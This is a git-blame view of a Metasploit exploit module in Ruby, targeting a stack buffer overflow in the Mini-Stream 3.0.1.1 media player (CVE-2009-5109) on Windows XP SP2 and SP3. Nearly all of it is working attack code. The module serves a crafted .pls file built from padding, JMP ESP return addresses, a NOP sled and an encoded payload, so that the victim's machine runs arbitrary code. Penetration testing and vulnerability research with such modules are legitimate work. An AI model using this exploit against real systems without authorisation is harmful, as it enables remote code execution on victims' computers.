Files
metasploit-gs/modules/exploits/windows/misc/mini_stream.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

91 lines
2.5 KiB
Ruby
Raw Normal View History

2009-12-30 22:24:22 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-30 22:24:22 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-30 22:24:22 +00:00
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
2009-12-30 22:24:22 +00:00
def initialize(info = {})
super(update_info(info,
2012-02-20 19:25:55 -06:00
'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow',
2009-12-30 22:24:22 +00:00
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
2017-09-13 22:03:34 -04:00
By creating a specially crafted pls file, an attacker may be able
to execute arbitrary code.
2009-12-30 22:24:22 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # CORELAN Security Team
'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
2009-12-30 22:24:22 +00:00
],
'References' =>
[
2012-06-27 22:17:34 -05:00
[ 'CVE', '2009-5109'],
[ 'OSVDB', '61341' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '10745' ],
2009-12-30 22:24:22 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 3500,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
'StackAdjustment' => -3500
2009-12-30 22:24:22 +00:00
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 ENG',
{
'Ret' => 0x7e429353, # 0x7e429353 JMP ESP - USER32.dll
'Offset' => 17417
}
],
[
'Windows XP SP2 ENG',
{
'Ret' => 0x7c941eed, # 0x7c941eed JMP ESP - SHELL32.dll
'Offset' => 17417
}
]
2009-12-30 22:24:22 +00:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2009-12-25',
2009-12-30 22:24:22 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, 'The URI to use for this exploit', 'msf.pls'])
])
2009-12-30 22:24:22 +00:00
end
def on_request_uri(cli, request)
# Calculate the correct offset
host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
host << ":#{datastore['SRVPORT']}/"
offset = target['Offset'] - host.length
# Construct our buffer
sploit = rand_text_alpha(offset)
2009-12-30 22:24:22 +00:00
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << @p
2009-12-30 22:24:22 +00:00
2012-04-25 15:01:50 -05:00
print_status("Sending malicous payload")
send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
2009-12-30 22:24:22 +00:00
end
def exploit
@p = payload.encoded
super
end
end